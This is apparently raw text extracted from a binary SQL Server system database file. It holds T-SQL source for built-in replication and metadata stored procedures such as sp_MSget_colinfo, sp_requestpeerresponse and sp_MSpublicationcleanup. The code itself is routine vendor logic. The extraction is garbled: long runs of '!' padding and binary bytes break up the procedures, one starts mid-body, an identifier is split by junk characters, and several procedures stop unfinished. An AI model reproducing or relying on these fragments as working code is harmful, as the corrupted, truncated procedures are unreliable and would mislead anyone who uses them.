!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`%<,&2kW0/ 8
create procedure sys.sp_procedure_params_90_rowset
(
    @procedure_name     sysname,
    @group_number       int = 1,
    @procedure_schema   sysname = null,
    @parameter_name     sysname = null
)
as
    select
        PROCEDURE_CATALOG                     = s_pp.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA                      = s_pp.PROCEDURE_SCHEMA,
        PROCEDURE_NAME                        = s_pp.PROCEDURE_NAME,
        PARAMETER_NAME                        = s_pp.PARAMETER_NAME,
        ORDINAL_POSITION                      = s_pp.ORDINAL_POSITION,
        PARAMETER_TYPE                        = s_pp.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT                  = s_pp.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT                     = s_pp.PARAMETER_DEFAULT,
        IS_NULLABLE                           = s_pp.IS_NULLABLE,
        DATA_TYPE                             = s_pp.DATA_TYPE_90,
        CHARACTER_MAXIMUM_LENGTH              = s_pp.CHARACTER_MAXIMUM_LENGTH_90,
        CHARACTER_OCTET_LENGTH                = s_pp.CHARACTER_OCTET_LENGTH_90,
        NUMERIC_PRECISION                     = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE                         = s_pp.NUMERIC_SCALE,
        DESCRIPTION                           = s_pp.DESCRIPTION,
        TYPE_NAME                             = s_pp.TYPE_NAME,
        LOCAL_TYPE_NAME                       = s_pp.LOCAL_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME   = s_pp.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME    = s_pp.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME           = s_pp.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME                    = s_pp.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME                     = s_pp.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                           = s_pp.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME              = s_pp.SS_UDT_ASSEMBLY_TYPENAME
    from
        sys.fn_procedure_params_90_rowset(
          @procedure_name,
          @group_number,
          @procedure_schema,
          @parameter_name) s_pp

    order by 2, 3, 5
    option (OPTIMIZE CORRELATED UNION ALL)
0 B
8create procedure sys.sp_MSget_colinfo 
(
    @objid int
    ,@colid int 
    ,@artid int 
    ,@bGetTextImageInfo tinyint = 0 -- boolean for returning text/image info
    ,@colname sysname output 
    ,@ccoltype nvarchar(300) = null output -- can contain schema name of type
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
)
as
begin
    declare @isset        int
            ,@pubtypemssqlserver tinyint
            ,@pubtypeheterogenous tinyint
            
    select @pubtypemssqlserver = 1
            ,@pubtypeheterogenous = 2

    if (@publishertype not in (@pubtypemssqlserver, @pubtypeheterogenous))
    begin
        raiserror(21402, 16, 17, '@publishertype')
        return 1
    end

    if (@artid is not NULL) 
    begin 
        -- this code path for synctran procs
        exec @isset = sys.sp_isarticlecolbitset @colid, @artid, @publishertype
    end
    else
        -- this code path for synctran triggers
        select @isset = 1

    if @isset = 1 
    begin
        if (@publishertype = @pubtypemssqlserver)
        begin
        select    
            @colname = col.name, 
            -- prefix schema name with type if CLR UDT
            @ccoltype= case when (typ.system_type_id=240) then quotename(schema_name(typ.schema_id)) + N'.' + quotename(typ.name) else typ.name end
        from 
            sys.columns col, 
            sys.types typ
        where 
            col.object_id = @objid 
            and col.column_id = @colid 
            and (
                --for all non-UDT types, we must get the name of base (physical) type
                --so, find the row in the types table which matches the system_type of the column
                (typ.user_type_id=col.system_type_id)
                or
                --for all UDT types, we just need to get the name of the user type
                (typ.system_type_id=240 and 
                typ.user_type_id=col.user_type_id)
            ) 
    end
    else
    begin
            select @colname = c.name, @ccoltype= t.name 
            from IHsyscolumns c, sys.types t
            where c.id = @objid and c.colid = @colid and c.xtype = t.user_type_id
        end
        -- when checking replicated columns, text/image datatypes cannot be declared or used locally
        if (@bGetTextImageInfo = 0) and (@ccoltype in (N'text',N'ntext',N'image'))
            return 1
    end
    else
    begin
        select @colname = null, @ccoltype = null
        return 1
    end
    -- return
    return 0
end
0s@ K8
create proc sys.sp_MSSetServerProperties
   @auto_start    INT   = NULL   -- 1 or 0, while 1 = auto start, 0 = manual start
as
   set nocount on

   -- only sysadmins are allowed to execute this stored procedure
   if( is_srvrolemember(N'sysadmin') = 0 )
   	begin
   	RAISERROR (15003, -1, -1, N'sysadmin')
   	return 1
   	end

   -- Make sure values (if supplied) are good
   IF (@auto_start IS NOT NULL)
   BEGIN
      -- NOTE: When setting the the services start value, 2 == auto-start, 3 == Don't auto-start
      SELECT @auto_start = CASE @auto_start
                           WHEN 0 THEN 3
                           WHEN 1 THEN 2
                           ELSE 3 -- Assume non auto-start if passed a junk value
                           END
   END

   -- Write out the values
   IF (@auto_start IS NOT NULL)
   BEGIN
      IF ((PLATFORM() & 0x1) = 0x1) -- NT
         EXECUTE sys.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                                 N'SYSTEM\CurrentControlSet\Services\MSSQLServer',
                                                 N'Start',
                                                 N'REG_DWORD',
                                                 @auto_start
      ELSE
         RAISERROR(14546, 16, 1, '@auto_start')
   END

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A	`<s'40P}@ 8create procedure sys.sp_MSget_map_position 
    @primary_key_bitmap varbinary(4000) = null,
    @index int,
    @colpos  sysname = NULL output,
    @art_col int = NULL output
as
  
    declare @this_col int
    declare @num_keys int
    declare @num_cols int
    
    select @this_col = 1
    select @num_keys = 0
    select @num_cols = datalength(@primary_key_bitmap) * 8

    select @colpos = null
    select @art_col = null

    while @this_col <= @num_cols
    begin
        if (substring(@primary_key_bitmap, 1 + (@this_col-1) / 8 , 1) &
            power(2, (@this_col-1) % 8 )) <> 0
        begin
            select @num_keys = @num_keys + 1
            if @num_keys = @index
            begin
                select @art_col = @this_col
                select @colpos = 'c' + convert(sysname, @this_col)                
                break
            end
        end
        select @this_col = @this_col + 1
    end
0~ 8

--
-- Name: 
--	sp_MSmerge_dropindex
-- 
-- Description: 
--	This procedure drops the index on the table that referes to the passed in column.
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: 
--	None as this procedure is not public.
--
CREATE PROCEDURE sys.sp_MSmerge_dropindex
    @table_name sysname,
    @index_column_name sysname
AS
BEGIN
    declare @index_name sysname
    declare @retcode int
	declare @cmd nvarchar(1000)

    set @retcode = 0
    
    declare #indexes cursor  for
    select inds.name
    from sys.columns cols JOIN sys.index_columns icols ON cols.object_id = icols.object_id and cols.column_id = icols.column_id
    JOIN sys.indexes inds ON inds.object_id = icols.object_id and inds.index_id = icols.index_id
    where cols.object_id = OBJECT_ID(@table_name) and cols.name = @index_column_name
    open #indexes
    fetch next from #indexes into @index_name
    while @@fetch_status <> -1
    begin
		select @cmd = 'drop index ' + quotename(@table_name) + '.' + quotename(@index_name)
    	exec (@cmd)
    	if @@ERROR <> 0
    	begin
    	    set @retcode = 1
    		goto UNDO
    	end
    	fetch next from #indexes into @index_name
    end

UNDO:
    close #indexes
    deallocate #indexes

    return @retcode
END
0b~ D8hn.0/} m8create procedure sys.sp_requestpeerresponse
(
	@publication	sysname,
	@description	nvarchar(4000) = NULL,
	@request_id		int = NULL output
)
as
begin
	set nocount on

	declare @OPT_ENABLED_FOR_P2P int
	
	declare @retcode		int,
			@cmd			nvarchar(4000),
			@originator		sysname,
			@originator_db	sysname

	select @OPT_ENABLED_FOR_P2P = 0x1
	
	select @cmd = NULL,	
			@request_id = NULL,
			@originator = publishingservername(),
			@originator_db = db_name()

	-- Security Check
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
	end

	-- this procedure can not be executed in a user
	-- transaction because it needs to be in its own tran
	-- space (it can not be mixed with replicated cmds).
	--
	-- we use this tmp table insert to force any implicit
	-- transaction (user may set IMPLICIT_TRANSACTIONs on)
	declare @check_tran table(col1 int)
	insert into @check_tran(col1) values (1)
	
	if @@trancount > 0
	begin
		-- The procedure 'sp_requestpeerresponse' cannot be executed within a transaction.
		raiserror(15002, 16, -1, 'sp_requestpeerresponse')
		return 1
	end
	
	-- check this db is published
	if sys.fn_MSrepl_istranpublished(db_name(),0) <> 1
    begin
		-- The database is not published.
		raiserror (18757, 16, -1)
		return 1
	end
	
	-- check publication name
	if @publication is null
    begin
		-- The parameter @publication cannot be NULL.
        raiserror (14043, 16, -1, @publication, 'sp_requestpeerresponse')
        return 1
    end

	-- validate publication setting
	if not exists(select * 
					from syspublications
					where (options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
						and name = @publication)	
	begin
		-- The Peer-To-Peer publication ''%s'' does not exist.
		raiserror (20808, 16, -1, @publication)
		return 1
	end

	-- if there are no matching peer subscriptions  
	-- we will just raise an error and exit out...
	if not exists(select * 
					from MSpeer_lsns
					where (originator != UPPER(@originator)
							or originator_db != @originator_db)
						and originator_publication = @publication)
	begin
		-- No Peers were found for @originator:@originator_db:@publication.
		raiserror(20807, 16, -1, @originator, @originator_db, @publication)
		return 1
	end
	
	begin transaction tr_sp_requestpeerresponse
	save transaction tr_sp_requestpeerresponse

	insert into MSpeer_request
		(
			publication, 
			description
		) 
		values
		(
			@publication, 
			@description	
		)
	if @@error <> 0 
	begin
		-- The procedure sys.sp_requestpeerresponse failed to INSERT into the resource MSpeer_request. Server error =  0.
		raiserror (21499, 16, -1, 'sys.sp_requestpeerresponse', 'INSERT into', 'MSpeer_request.', @@error)
		goto FAILURE
	end

	select @request_id = scope_identity()

	insert into MSpeer_response
		(
			request_id,
			peer,
			peer_db
		)
		select distinct @request_id,
				UPPER(originator),
				originator_db
			from MSpeer_lsns
			where (originator != UPPER(@originator)
					or originator_db != @originator_db)
				and originator_publication = @publication
	if @@error <> 0
	begin
		-- The procedure sys.sp_requestpeerresponse failed to INSERT into the resource MSpeer_response. Server error =  0.
		raiserror (21499, 16, -1, 'sys.sp_requestpeerresponse', 'INSERT into', 'MSpeer_response.', @@error)
		goto FAILURE
	end

	select @cmd = N'exec sys.sp_MSpeersendresponse @request_id=' + cast(@request_id as nvarchar) + 
												N',@originator=N' + quotename(@originator, '''') + 
												N',@originator_db=N' + quotename(@originator_db, '''') +
												N',@originator_publication=N' + quotename(@publication, '''')
	
	exec @retcode = sys.sp_MSpeertopeerfwdingexec @command = @cmd,
													@publication = @publication,
													@execute = 0,
													@change_results_originator = 1
	if @@error <> 0 or @retcode <> 0
		goto FAILURE

	commit transaction tr_sp_requestpeerresponse

	return 0
FAILURE:
	rollback transaction tr_sp_requestpeerresponse
	commit transaction

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@	
`<(>y + @guidstr
    if EXISTS (select * from sys.objects where name=@current_mappings_viewname and type='V')
    BEGIN
        select @ownername = schema_name(schema_id) from sys.objects where  name=@current_mappings_viewname
        select @viewname = QUOTENAME(@ownername) + '.' + QUOTENAME(@current_mappings_viewname)
        exec ('drop view ' + @viewname)
            if @@ERROR<>0 return (1)
    END
        
    if EXISTS (select * from sys.objects where name=@past_mappings_viewname and type='V')
    BEGIN
        select @ownername = schema_name(schema_id) from sys.objects where  name=@past_mappings_viewname
        select @viewname = QUOTENAME(@ownername) + '.' + QUOTENAME(@past_mappings_viewname)
        exec ('drop view ' + @viewname)
            if @@ERROR<>0 return (1)
    END
    

    /* drop article specific partition views created by sp_MSpublicationview
       doing it here since this is where we cleanup article specific views */
    if object_id('dbo.sysmergepartitioninfoview', 'V') is not NULL
    begin
        select @partition_view_name = OBJECT_NAME(partition_view_id)
            from dbo.sysmergepartitioninfoview where
            pubid = @pubid and nickname = @tablenick
        if @partition_view_name is not null
        begin
            select @ownername = schema_name(schema_id) from sys.objects where  name=@partition_view_name
            select @viewname = QUOTENAME(@ownername) + '.' + QUOTENAME(@partition_view_name)
            exec ('drop view ' + @viewname)
            if @@ERROR<>0 return (1)
        end
    end

    -- if this article is published in another publication do not drop the identity constraint
    -- do not delete the publisher entry from MSmerge_identity_range. Update the pubid
    -- with the other pubid that exists
    if object_id('dbo.MSmerge_identity_range', 'U') is not NULL
    begin
        exec @retcode = sys.sp_MSremoveidrangesupport @pubid, @artid, 0 /* @propagate_ddl_change */ 
        IF @@ERROR <> 0 or @retcode <> 0
            return 1
    end

    -- this code is to remove the old style identity range check constraints
    if object_id('dbo.MSrepl_identity_range', 'U') is not NULL
    begin
        -- the following is needed bacause the schema of MSrepl_identity_range on distribution and subscribing
        -- or publishing databases is different in shiloh
        if exists (select 1 from sys.columns where object_id = object_id('dbo.MSrepl_identity_range', 'U') and name = 'objid')
        begin
            if exists (select 1 from dbo.MSrepl_identity_range where objid = @objid)
            begin
                -- drop the identity range check constraint. The % is here because in shiloh
                -- we used either 'pub' or 'sub' or 'repub' to indicate the role of the replica.
                -- here we only care about dropping the constraint
                select @constraintname = 'repl_identity_range_%' + convert(nvarchar(36), @artid)
                select @constraintname = REPLACE(@constraintname, '-', '_')
                if exists (select 1 from sys.objects where type ='C' and name like @constraintname)
                begin
                    select @constraintname = quotename(name) from sys.objects where name like @constraintname and type = 'C'
                    EXEC sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=1
                    exec ('alter table '+ @source_table + ' drop constraint ' + @constraintname)
                    -- don't worry about the error here
                    --IF @@ERROR <> 0 return 1
                    EXEC sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff=0
                end
                delete from dbo.MSrepl_identity_range where objid = @objid
            end
        end
    end

    /* Delete from contents, tombstone, delete conflicts; Ignore errors that occur */
    if @ignore_merge_metadata = 0
    begin
        if object_id('dbo.MSmerge_current_partition_mappings') is not NULL
            delete from dbo.MSmerge_current_partition_mappings where tablenick = @tablenick

        if object_id('dbo.MSmerge_past_partition_mappings') is not NULL
            delete from dbo.MSmerge_past_partition_mappings where tablenick = @tablenick

        if object_id('MSmerge_contents') is not NULL
            delete from dbo.MSmerge_contents where tablenick = @tablenick

        if object_id('MSmerge_tombstone') is not NULL      
            delete from dbo.MSmerge_tombstone where tablenick = @tablenick

        /* Delete rows from MSmerge_genhistory - if this is the last table that refers to them */
        if not exists (select * from dbo.sysmergearticles where nickname = @tablenick and pubid <> @pubid)
        begin
            if object_id('MSmerge_generation_partition_mappings') is not NULL     
                delete from dbo.MSmerge_generation_partition_mappings 
                    where generation in (select generation from dbo.MSmerge_genhistory where art_nick = @tablenick)

            if object_id('MSmerge_genhistory') is not NULL
                delete from dbo.MSmerge_genhistory where art_nick = @tablenick
        end

        if object_id('MSmerge_conflicts_info') is not NULL
            delete from MSmerge_conflicts_info where tablenick = @tablenick
        else if object_id('MSmerge_delete_conflicts') is not NULL
            delete from MSmerge_delete_conflicts where tablenick = @tablenick
    end

    -- drop the rowguidcol if it was created by replication, and if there is no
    -- other article on this table.
    if 0=@preserve_rowguidcol and
       0 = @force_preserve_rowguidcol and
       not exists (select * from dbo.sysmergearticles where artid = @artid and pubid <> @pubid and status <> 7) 
       -- preseves rowguidcol if the table has filestream column
     and not exists (select * from sys.columns where object_id = @objid and is_filestream = 1)       
    begin
        select @ownername = schema_name(schema_id) from sys.objects where object_id = @objid       
        exec @retcode= sys.sp_MSdropguidcolumn @schemaname=@ownername, @tablename=@objectname
        if @@error<>0 or @retcode<>0 return 1
    end

    -- reset sync tran bit if present. Do it here instead of just before applying bcp
    if (object_id(@source_table, 'U') is not null)
    begin
		-- do not use @ownername in the following call because the @ownername has changed by this time. We use
		-- this variable for saving owner names of several views that we drop, mostly owned by dbo. Thankfully,
		-- we have the @source_table param that has the right value, and the proc does the right thing when @owner is N''
		exec sys.sp_MSreset_synctran_bit @owner=N'', @table=@source_table
	end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<()<
v|create procedure sys.sp_MSpublicationcleanup (
    @publication         sysname,
    @publisher_db        sysname,
    @publisher               sysname = NULL,
    @ignore_merge_metadata bit = 0,
    @force_preserve_rowguidcol bit = 1
    ) AS
    declare @pubid         uniqueidentifier
    declare @artid         uniqueidentifier
    declare @retcode    smallint
    declare @objectname sysname
    declare @objectowner sysname
    declare @progress_token nvarchar(500)
    declare @progress_token_hash int
    declare @lightweight bit

    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

	if @publisher is null
		set @publisher = publishingservername()

    /* This only gets called after database is enable to subscribe, so dbo.sysmergepublications should exist */
    if object_id('dbo.sysmergepublications', 'U') is not null
    begin
        select @pubid = pubid FROM dbo.sysmergepublications 
            WHERE name = @publication and 
                  upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) and 
                  publisher_db = @publisher_db
    end

    /* Normal case - nothing to cleanup, just return */
    if @pubid is null
        return (1)

    select @lightweight = 0

    if exists (select * from dbo.sysmergearticles where pubid=@pubid and lightweight=1)
    begin
        select @lightweight = 1
    end

    /* drop system table views */
    exec @retcode = sys.sp_MSdropsystableviews @pubid
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    /* drop per article cts views */
    exec @retcode = sys.sp_MSdropctsviews @pubid
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)


    /*
    ** If we are in the middle of delivering a snapshot for the specified
    ** publication, don't try to do cleanup
    */
    if object_id('dbo.MSsnapshotdeliveryprogress', 'U') is not null
    begin
        
        select @progress_token = N'<MergePubId>:' + convert(nvarchar(100), @pubid)
        select @progress_token_hash = sys.fn_repl32bitstringhash(@progress_token)
        if exists (select * from dbo.MSsnapshotdeliveryprogress 
                    where progress_token_hash = @progress_token_hash
                     and  progress_token = @progress_token)  
        begin
            return (0)
        end
    end 

    /* 
    ** If we are deleting the last publication in the database, ie there are articles in
    ** dbo.sysmergearticles with a different pubid then the one being dropped
    ** then remove all the rows in MSmerge_genhistory, MSmerge_contents and MSmerge_tombstone 
    ** use a truncate table in order to make the operation non logged and hence efficient
    */
    if 0 = @lightweight
    begin
        if not exists (select * from dbo.sysmergearticles where pubid <> @pubid)
        begin
            if object_id('MSmerge_genhistory','U') is not NULL
                truncate table dbo.MSmerge_genhistory
            if object_id('MSmerge_current_partition_mappings','U') is not NULL
                truncate table dbo.MSmerge_current_partition_mappings
            if object_id('MSmerge_past_partition_mappings','U') is not NULL
                truncate table dbo.MSmerge_past_partition_mappings
            if object_id('MSmerge_generation_partition_mappings','U') is not NULL
                truncate table dbo.MSmerge_generation_partition_mappings
            if object_id('MSmerge_contents','U') is not NULL
                truncate table dbo.MSmerge_contents
            if object_id('MSmerge_tombstone','U') is not NULL
                truncate table dbo.MSmerge_tombstone
            exec @retcode= sys.sp_MSdrop_tempgenhistorytable @pubid
            if @@error<>0 or @retcode<>0 goto Error                                            
        end
    end
    else
    begin
        if not exists (select top 1 * from dbo.sysmergearticles 
            where pubid<>@pubid and lightweight=1)
        begin
            if object_id('MSmerge_rowtrack','U') is not NULL
                truncate table dbo.MSmerge_rowtrack
        end
    end

    if not exists (select * from dbo.sysmergearticles where pubid <> @pubid)
    begin
        if object_id('MSmerge_metadataaction_request','U') is not NULL
            truncate table dbo.MSmerge_metadataaction_request
    end

    begin transaction
    save tran MSpublicationcleanup

    -- Clean up the articles for this publication, and delete the row.
    -- For lightweight, this is done in sp_MSdeletelightweightsubscription.
    if 0 = @lightweight
    begin
        select top 1 @artid= artid FROM dbo.sysmergearticles WHERE pubid = @pubid
        while @artid is not null
        begin
            if not exists (select * from dbo.sysmergearticles WHERE artid = @artid and pubid <> @pubid)
            begin
                -- sp_MSpublicationcleanup is either called by sp_dropmergepullsubscription,
                -- or by by CMergeDatasource::CreateInitialPublication.
                -- For the former, we want to remove the rowguidcol if possible.
                -- For the latter, we don't, because we are actually setting up the publication.
                exec @retcode=sys.sp_MSarticlecleanup 
                                       @pubid = @pubid, 
                                       @artid = @artid, 
                                       @ignore_merge_metadata = @ignore_merge_metadata,
                                       @force_preserve_rowguidcol = @force_preserve_rowguidcol
                if @retcode<>0 or @@ERROR<>0 goto Error
            end
            delete from dbo.sysmergepartitioninfo where artid = @artid and pubid = @pubid
            if @@ERROR<>0 goto Error

            delete from dbo.sysmergearticles where artid = @artid and pubid = @pubid
            if @@ERROR<>0 goto Error

            set @artid = NULL
            select top 1 @artid= artid FROM dbo.sysmergearticles WHERE pubid = @pubid
        end
    end
        
    /* Unmark all schema articles in this publication */
    if object_id('sysmergeschemaarticles') is not NULL
    begin
        declare hschemaarticle_cur cursor local fast_forward for
            select destination_object, destination_owner from dbo.sysmergeschemaarticles where
            pubid = @pubid 
        for read only
        open hschemaarticle_cur
        fetch hschemaarticle_cur into @objectname, @objectowner
        while (@@fetch_status<>-1)
        begin
                exec  sys.sp_MSunmarkschemaobject @objectname, @objectowner    
                if @retcode<>0 or @@ERROR<>0 
                    goto Error
                fetch hschemaarticle_cur into @objectname, @objectowner
        end
        close hschemaarticle_cur
        deallocate hschemaarticle_cur

        /* Delete all schema article rows for this publication*/
        delete from dbo.sysmergeschemaarticles where pubid = @pubid
        if @@ERROR<>0 
            goto Error
    end
    
    /* Now clean up any traces in other system tables */

    if 0 = @lightweight
    begin
        /* 
        ** Make sure you NULL out gen_cur for other articles that share this table 
        ** since we are deleting the genhistroy row for that generation 
        */
        declare @publication_number smallint
        select @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid
            
        update dbo.sysmergearticles set gen_cur=NULL where gen_cur in
            (select generation from dbo.MSmerge_genhistory where pubid = @pubid)
        if @@ERROR<>0 
            goto Error
        delete from dbo.MSmerge_generation_partition_mappings where publication_number = @publication_number
        if @@ERROR<>0 
            goto Error
        delete from db!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<g*-)
y|o.MSmerge_genhistory where pubid = @pubid
        if @@ERROR<>0 
            goto Error
        delete from dbo.MSmerge_replinfo where repid in (select subid from dbo.sysmergesubscriptions where pubid = @pubid and status <> 2)
        if @@ERROR<>0 
            goto Error
        delete from dbo.sysmergesubsetfilters where pubid = @pubid
